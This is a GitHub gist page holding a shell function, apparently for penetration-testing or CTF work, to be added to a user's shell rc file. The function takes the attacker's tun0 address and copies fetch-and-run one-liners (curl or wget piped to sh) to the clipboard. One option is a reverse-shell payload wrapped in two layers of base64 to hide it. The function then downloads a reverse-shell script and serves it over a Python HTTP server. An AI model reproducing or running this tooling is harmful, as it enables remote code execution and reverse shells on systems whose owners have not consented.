Skip to content

Instantly share code, notes, and snippets.

@zAbuQasem
Created April 9, 2024 03:21
Show Gist options
  • Save zAbuQasem/15758b423a15e3c36cbce06f007f2228 to your computer and use it in GitHub Desktop.
Save zAbuQasem/15758b423a15e3c36cbce06f007f2228 to your computer and use it in GitHub Desktop.
Add this function to your `$SHELL.rc` file
s() {
local ip=$(ip -4 addr show tun0 | grep inet | awk '{print $2}' | cut -d/ -f1)
case "$1" in
-w ) echo -n "wget -qO - http://$ip/x |sh" | xclip -sel clip ;;
-e ) payload="echo $(curl -sq https://reverse-shell.sh/$ip:443 | sed '/^#/d' | base64 -w0) | base64 -d | sh" ; echo "echo $(echo $payload | base64 -w0)| base64 -d | sh" | xclip -sel clip ; return 0;;
* ) echo -n "curl $ip/x|sh" | xclip -sel clip ;;
esac
curl https://reverse-shell.sh/$ip:443 -o x
python3 -m http.server 80
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment